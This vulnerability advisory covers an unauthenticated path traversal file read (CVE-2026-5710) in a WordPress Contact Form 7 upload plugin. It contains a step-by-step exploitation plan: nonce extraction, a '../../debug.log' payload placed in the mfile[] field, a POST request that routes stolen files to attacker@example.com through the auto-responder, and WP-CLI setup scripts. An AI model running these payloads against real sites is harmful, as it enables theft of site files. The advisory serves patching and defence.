Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Limited Arbitrary File Read via mfile Field
Description
The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to Path Traversal leading to Arbitrary File Read in versions up to and including 1.3.9.6. This is due to the plugin using client-supplied mfile[] POST values as the source of truth for email attachment selection without performing any server-side upload provenance check, path canonicalization, or directory containment boundary enforcement. In dnd_wpcf7_posted_data(), each user-submitted filename is directly appended to the plugin's upload URL without sanitization. In dnd_cf7_mail_components(), the URL is converted back to a filesystem path using str_replace() and only file_exists() is used as the acceptance check before attaching the file to the outgoing CF7 email. This makes it possible for unauthenticated attackers to read and exfiltrate arbitrary files readable by the web server process via path traversal sequences in the mfile[] parameter, with files being disclosed as email attachments. Note: This vulnerability is limited to the 'wp-content' folder due to the wpcf7_is_file_path_in_content_dir() function in the Contact Form 7 plugin.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.3.9.6What Changed in the Fix
Changes introduced in v1.3.9.7
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5710 ## 1. Vulnerability Summary The **Drag and Drop Multiple File Upload for Contact Form 7** plugin (up to version 1.3.9.6) is vulnerable to an unauthenticated arbitrary file read vulnerability via path traversal. The vulnerability exists because the plugi…
Show full research plan
Exploitation Research Plan: CVE-2026-5710
1. Vulnerability Summary
The Drag and Drop Multiple File Upload for Contact Form 7 plugin (up to version 1.3.9.6) is vulnerable to an unauthenticated arbitrary file read vulnerability via path traversal.
The vulnerability exists because the plugin trusts client-supplied values in the mfile[] POST parameters. During form submission, the plugin appends these values to its upload directory URL in dnd_wpcf7_posted_data(). Subsequently, in dnd_cf7_mail_components(), it converts these URLs back into absolute filesystem paths using simple string replacement and attaches them to the outgoing Contact Form 7 email. Because there is no check to ensure the file was actually uploaded by the plugin or stays within the intended directory, an attacker can use ../ sequences to traverse the filesystem and attach any file readable by the web server (limited to the wp-content directory by Contact Form 7's own security boundaries) to the email.
2. Attack Vector Analysis
- Target Endpoint: Contact Form 7's AJAX or REST API submission endpoint.
- REST:
/wp-json/contact-form-7/v1/contact-forms/<ID>/feedback - AJAX:
/wp-admin/admin-ajax.php?action=wpcf7_submit
- REST:
- Vulnerable Parameter: The name of the
mfilefield defined in the form (e.g.,upload-file-1[]). - Authentication: None required (Unauthenticated).
- Preconditions:
- A Contact Form 7 form must exist that uses the
[mfile]tag. - The form should ideally have "Mail (2)" (auto-responder) enabled and configured to include the
mfilefield as an attachment, allowing the attacker to receive the file at an email address they control.
- A Contact Form 7 form must exist that uses the
3. Code Flow
- Entry: A user submits a CF7 form containing an
mfilefield. - Hook:
inc/dnd-upload-cf7.phpregistersadd_filter('wpcf7_posted_data', 'dnd_wpcf7_posted_data', 10, 1);. - Processing:
dnd_wpcf7_posted_data()is called.- It iterates through form tags.
- When it finds
basetype == 'mfile', it takes the POST data:$posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file; - Here,
$fileis the attacker-supplied traversal string (e.g.,../../../debug.log).
- Sink:
dnd_cf7_mail_components()(hooked towpcf7_mail_components) processes the mail components before sending.- It retrieves the pseudo-URL from the submission data.
- It converts the URL to a path (e.g., by replacing
site_url()withABSPATH). - It checks
if (file_exists($file_path))and, if true, appends$file_pathto$components['attachments'].
- Exfiltration: Contact Form 7 sends the email with the sensitive file attached to the recipient(s).
4. Nonce Acquisition Strategy
To submit a Contact Form 7 form, a _wpcf7_nonce is typically required.
- Identify Form: Find a page containing a CF7 form with an
[mfile]tag. If none exists, create one (see Test Data Setup). - Navigate: Use
browser_navigateto the page URL. - Extract CF7 Nonce:
// Execute via browser_eval document.querySelector('input[name="_wpcf7_nonce"]').value - Extract Plugin AJAX Nonce (if needed for supplementary actions):
- The plugin localizes its nonce in the
dnd_cf7_uploaderobject.
// Execute via browser_eval window.dnd_cf7_uploader?.ajax_nonce - The plugin localizes its nonce in the
5. Exploitation Strategy
This exploit involves submitting a form with a malicious payload in the mfile field.
Step 1: Discover Form Details
Identify the form ID (_wpcf7), the field name for themfiletag, and the_wpcf7_unit_tag.Step 2: Construct Payload
- Target File:
wp-content/debug.log(common) orwp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php. - Traversal: Since the base directory is
wp-content/uploads/wp_dndcf7_uploads/, the relative path towp-content/is../../. - Final Payload for
mfileparameter:../../debug.log.
- Target File:
Step 3: Execute Attack (HTTP Request)
Send a POST request to the CF7 REST API.- URL:
http://localhost:8080/wp-json/contact-form-7/v1/contact-forms/<ID>/feedback - Method:
POST - Content-Type:
multipart/form-data - Body Parameters:
_wpcf7:<ID>_wpcf7_version: (Current CF7 version)_wpcf7_locale:en_US_wpcf7_unit_tag:<TAG>_wpcf7_nonce:<NONCE>your-email:attacker@example.com(Target for auto-responder)<FIELD_NAME>[]:../../debug.log(The traversal payload)
- URL:
6. Test Data Setup
Prepare the environment using WP-CLI:
Install Plugins:
wp plugin install contact-form-7 --activate wp plugin install drag-and-drop-multiple-file-upload-contact-form-7 --version=1.3.9.6 --activateCreate a Canary File:
echo "CONFIDENTIAL_DATA_LEAKED" > /var/www/html/wp-content/secret-leak.txtCreate Vulnerable Form:
Create a CF7 form that includes anmfilefield and sends an auto-responder (Mail 2) to the user.# Use wp eval to create the form programmatically wp eval ' $cf = wpcf7_contact_form::get_template(); $cf->set_title("Vulnerable Form"); $cf->set_properties([ "form" => "[text* your-name][email* your-email][mfile leak-field][submit \"Send\"]", "mail_2" => [ "active" => true, "recipient" => "[your-email]", "sender" => "admin@example.com", "subject" => "Your Files", "body" => "See attached.", "attachments" => "[leak-field]" ] ]); $cf->save(); echo "Form ID: " . $cf->id(); 'Publish Page with Form:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[contact-form-7 id="<FORM_ID>"]'
7. Expected Results
- The HTTP response from the CF7 endpoint should return
{"status":"mail_sent", "message":"..."}. - Internally, the
$components['attachments']array in the mailer will contain the resolved path:/var/www/html/wp-content/secret-leak.txt. - In a real-world scenario, the attacker would receive an email at
attacker@example.comwith the file attached.
8. Verification Steps
Since actual email delivery might not be visible in the test container:
- Check Mail Log: If a mail logging plugin is installed, check for the sent attachment.
- Mock Filter Test: Use WP-CLI to verify that the plugin logic correctly resolves the traversal:
wp eval ' $field_name = "leak-field"; $payload = "../../secret-leak.txt"; $uploads = dnd_get_upload_dir(); $pseudo_url = trailingslashit($uploads["upload_url"]) . $payload; // Simulate dnd_cf7_mail_components logic $file_path = str_replace(site_url() . "/", wp_normalize_path(ABSPATH), $pseudo_url); echo "Resolved Path: " . $file_path . "\n"; echo "File Exists: " . (file_exists($file_path) ? "YES" : "NO") . "\n"; '
9. Alternative Approaches
If the REST API is disabled or restricted:
- Use the AJAX entry point:
POST /wp-admin/admin-ajax.phpwithaction=wpcf7_submit. - Ensure all standard CF7 hidden fields are included (
_wpcf7_container_post, etc.). - If
wp-config.phpis restricted bywpcf7_is_file_path_in_content_dir(), targetwp-content/debug.logor a theme'sstyle.cssto confirm read access.
Summary
The Drag and Drop Multiple File Upload for Contact Form 7 plugin is vulnerable to unauthenticated arbitrary file read via path traversal in versions up to 1.3.9.6. The plugin trusts client-supplied filenames in the mfile[] POST parameter to resolve email attachment paths without performing server-side provenance checks or directory containment validation. This allows attackers to exfiltrate sensitive files within the wp-content directory by having them attached to outgoing Contact Form 7 emails.
Vulnerable Code
// inc/dnd-upload-cf7.php line 271 if( $field->basetype == 'mfile' && isset( $posted_data[$field_name] ) && ! empty( $posted_data[$field_name] ) ) { if ( is_array( $posted_data ) ) { foreach( $posted_data[$field_name] as $key => $file ) { $posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file; } } } --- // inc/dnd-upload-cf7.php line 211 (Mirroring the conversion logic used in the mailer sink) // Convert url to dir $file = str_replace( site_url() . '/', wp_normalize_path( ABSPATH ), $file_url );
Security Fix
@@ -2,14 +2,60 @@ * CodeDropz Uploader * Copyright 2018 Glen Mongaya * CodeDrop Drag&Drop Uploader - * @version 1.3.9.6 + * @version 1.3.9.7 * @author CodeDropz, Glen Don L. Mongaya * @license The MIT License (MIT) */ +// New: Native helper - find elements within a context (replaces $(selector, ctx)) +function _find( ctx, selector ) { + if ( ! ctx ) return []; + if ( typeof ctx === 'string' ) ctx = document.querySelector( ctx ); + return Array.from( ( ctx || document ).querySelectorAll( selector ) ); +} + +// New: Native helper - get a single element +function _findOne( ctx, selector ) { + if ( ! ctx ) return null; + if ( typeof ctx === 'string' ) ctx = document.querySelector( ctx ); + return ( ctx || document ).querySelector( selector ); +} + +// New: Native helper - add class to element +function _addClass( el, cls ) { + if ( el && cls ) el.classList.add( cls ); +} + +// New: Native helper - remove class from element +function _removeClass( el, cls ) { + if ( el && cls ) el.classList.remove( cls ); +} + +// New: Native helper - check if element has class +function _hasClass( el, cls ) { + return el ? el.classList.contains( cls ) : false; +} + +// New: Native helper – safely append HTML after an element +function _insertAfter( referenceEl, html ) { + if ( ! referenceEl || ! html ) return null; + var template = document.createElement( 'div' ); + template.innerHTML = html; + var node = template.firstChild; + referenceEl.parentNode.insertBefore( node, referenceEl.nextSibling ); + return node; +} + +// New: Native helper – safely escape HTML to prevent XSS in file names +function _escapeHtml( str ) { + var div = document.createElement( 'div' ); + div.appendChild( document.createTextNode( String( str ) ) ); + return div.innerHTML; +}
Exploit Outline
The exploit is performed by submitting a Contact Form 7 form that includes an mfile upload tag. An unauthenticated attacker first obtains a valid CF7 submission nonce and the form's unit tag from the target page. They then send a POST request to either the CF7 AJAX endpoint or the REST API endpoint (/wp-json/contact-form-7/v1/contact-forms/<ID>/feedback). The payload consists of adding a path traversal sequence to the field name corresponding to the mfile tag (e.g., upload-file-1[]: ../../debug.log). Because the plugin trusts this value as the file name to be retrieved from its upload directory, it resolves the traversal to an absolute path on the server (limited to wp-content). If the form is configured with an auto-responder (Mail 2) that includes the mfile tag, the plugin will attach the requested sensitive file to the email and send it to the address provided by the attacker in the submission.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.